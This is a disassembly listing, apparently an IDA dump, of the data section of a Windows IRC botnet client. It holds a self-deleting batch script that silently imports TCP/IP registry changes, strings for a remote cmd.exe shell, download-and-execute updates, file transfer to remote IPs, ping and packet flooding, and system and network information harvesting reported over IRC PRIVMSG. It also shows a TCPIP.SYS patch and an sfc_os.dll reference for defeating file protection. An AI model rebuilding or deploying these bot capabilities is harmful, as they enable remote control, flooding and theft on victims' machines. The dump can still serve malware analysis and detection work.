		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_42D03C	db    2			; DATA XREF: sub_40AECD:loc_40AF8Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D07C	db    2			; DATA XREF: sub_40AECD:loc_40AF5Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42D0BC	db    2			; DATA XREF: sub_40AECD:loc_40AF26o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 10h
unk_42D0F0	db    2			; DATA XREF: sub_40AECD+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 10h
a2:					; DATA XREF: sub_40B051+35o
					; ___:004160CAo
		unicode	0, <2>,0
aSfc_os_dll	db 'sfc_os.dll',0       ; DATA XREF: sub_40B0A0+24o
		align 10h
aTcpip_sysFixed	db 'TCPIP.SYS fixed, version %d.',0 ; DATA XREF: sub_40B0E7+31Eo
		align 10h
aCanNotOpenTcpi	db 'Can not open TCPIP.SYS, version %d.',0 ; DATA XREF: sub_40B0E7+11Fo
aRB		db 'r+b',0              ; DATA XREF: sub_40B0E7+FFo
dword_42D188	dd 5		dword_42D18C	dd 0FCh		dword_42D190	dd 43h		dword_42D194	dd 6		dword_42D198	dd 16h		dword_42D19C	dd 4Ch							; ___:00416135o
dword_42D1A0	dd 3		dword_42D1A4	dd 0E8h		unk_42D1A8	db    2			; DATA XREF: sub_40B45B+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42D1E4	db    2			; DATA XREF: sub_40B45B+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_42D21C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B5E7+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42D258	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B5E7+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 10h
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B865+33o
dword_42D2A0	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B8EC:loc_40BA1Eo
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 10h
dword_42D2E0	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B8EC+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42D318	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B8EC:loc_40B9D2o
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42D358	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BA41+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 4
dword_42D39C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BA41+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40BA41+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40BBF6+52o
					; ___:00416167o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40BDAD+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40BDAD+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40BDAD:loc_40BF11o
		align 4
word_42D4DC	dw 3Fh			; DATA XREF: sub_40BDAD:loc_40BEAFr
					; sub_40D639+1Fo
		align 10h
dword_42D4E0	dd 3F3F3Fh	a2003		db '2003',0             ; DATA XREF: sub_40BDAD+BAo
					; ___:0042F050o
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40BDAD+AAo
					; ___:0041606Eo
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_40BDAD+98o
					; ___:0041605Eo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40BDAD+7Eo
					; ___:00416045o
		align 4
a98		db '98',0               ; DATA XREF: sub_40BDAD+6Co
					; ___:00416035o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40BDAD+5Ao
					; ___:00416026o
		align 10h
a95		db '95',0               ; DATA XREF: sub_40BDAD+46o
					; ___:00416018o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40C061+ABo
		align 4
off_42D544	dd offset loc_412F4E	; DATA XREF: sub_40C061:loc_40C0D5o
off_42D548	dd offset dword_4E414C	; DATA XREF: sub_40C061:loc_40C0CEo
dword_42D54C	dd 6C616944h, 70752Dhdword_42D554	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_42D564	dd 5Ch		unk_42D568	db    2			; DATA XREF: sub_40C1D5:loc_40C38Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 4
unk_42D5A8	db    2			; DATA XREF: sub_40C1D5:loc_40C387o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42D5E4	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40C1D5+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42D610	db    2			; DATA XREF: sub_40C1D5:loc_40C368o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42D65C	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40C1D5+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42D688	dd 2A2F2Ah	dword_42D68C	dd 202E6425h, 3D207325h, 732520hdword_42D698	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40C4F7+60o
		align 4
dword_42D6CC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C597+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42D6F4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C609+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42D720	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C609+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
		dd 78h
		align 8
dword_42D748	dd 80000002h, 42EE44h, 80000002h, 42EE74h, 80000001h, 42EEACh
					; DATA XREF: sub_40C738+7o
dword_42D760	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C738+63o
					; sub_40C8F3+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42D7A4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8F3+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42D7E4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8F3+47o
					; sub_40CAB4+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42D818	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+362o
					; sub_40CE56+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42D840	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42D890	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42D8C4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42D8EC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40CAB4+16Ao
		dd 169h
dword_42D904	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42D934	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42D968	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CAB4+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42D99C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CE56+1CFo
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42D9F0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CE56+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42DA20	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CE56+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40CE56+97o
dword_42DA60	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40CE56+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42DAA0	db    2			; DATA XREF: sub_40D091+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42DADC	db    2			; DATA XREF: sub_40D091+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42DB24	db    2			; DATA XREF: sub_40D091+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42DB74	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40D091+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40D091+336o
					; sub_40F6F1+2C49o ...
		align 4
unk_42DBA8	db    2			; DATA XREF: sub_40D091+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42DBF0	db    2			; DATA XREF: sub_40D091+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42DC28	db    2			; DATA XREF: sub_40D091+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42DC6C	db    2			; DATA XREF: sub_40D091+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42DCAC	db    2			; DATA XREF: sub_40D091+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42DCF4	db    2			; DATA XREF: sub_40D091+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D639:loc_40D67Co
					; sub_40E4EB+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D639:loc_40D676o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D639:loc_40D670o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D639:loc_40D66Ao
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D639:loc_40D664o
		align 4
off_42DD54	dd offset word_4D4152	; DATA XREF: sub_40D639:loc_40D65Eo
aFailed		db 'failed',0           ; DATA XREF: sub_40D6CA:loc_40D7A2o
					; sub_40D7E5+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D6CA+6Bo
		align 4
unk_42DD68	db    2			; DATA XREF: sub_40D7E5+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42DDB4	db    2			; DATA XREF: sub_40D7E5+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
off_42DE00	dd offset loc_5C3A40+1	; DATA XREF: sub_40D8B7:loc_40D8FCo
dword_42DE04	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42DE50	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_42DE6C:				; DATA XREF: sub_40DA5C+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42DE80	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40DA5C+13Fo
dword_42DE94	dd 25207325h, 253A2073h, 0A0D73haPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40DC10+16o
					; sub_40F6F1+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40DC10+Fo
					; sub_40F6F1+62Fo
		align 10h
off_42DEB0	dd offset aAdd		; DATA XREF: sub_40DCAB+6Dr
					; sub_40E08F+50r ...
					; "Add"
off_42DEB4	dd offset aAdded	; DATA XREF: sub_40DCAB+2Dr
					; sub_40E08F+82r ...
					; "Added"
dword_42DEB8	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42DF24h, 42DF1Ch,	2, 42DF10h, 42DF04h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0042DEE4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:0042DEE0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0042DED8o
aStart_0	db 'Start',0            ; DATA XREF: ___:0042DED4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0042DECCo
		align 4
aList_0		db 'List',0             ; DATA XREF: ___:0042DEC8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0042DEC0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0042DEBCo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_42DEB4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_42DEB0o
unk_42DF78	db    2			; DATA XREF: sub_40DCAB+74o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSNoServiceSpec	db ' %s: No service specified.',0
		align 10h
unk_42DFB0	db    2			; DATA XREF: sub_40DCAB+55o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aErrorWithServi	db ' Error with service: ',27h,'%s',27h,'. %s',0
		align 4
unk_42DFEC	db    2			; DATA XREF: sub_40DCAB+38o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSServiceS_	db ' %s service: ',27h,'%s',27h,'.',0
		align 4
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40DDD4+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40DDD4:loc_40DEECo
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40DDD4:loc_40DEE5o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40DDD4:loc_40DEDEo
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40DDD4:loc_40DED7o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40DDD4:loc_40DED0o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40DDD4:loc_40DEC9o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40DDD4:loc_40DEC2o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40DDD4:loc_40DEBBo
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40DDD4:loc_40DEB4o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40DDD4:loc_40DEADo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40DDD4:loc_40DE82o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40DDD4:loc_40DE7Bo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40DDD4:loc_40DE74o
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40DDD4:loc_40DE6Do
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40DDD4+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40DDD4:loc_40DE42o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40DDD4:loc_40DE38o
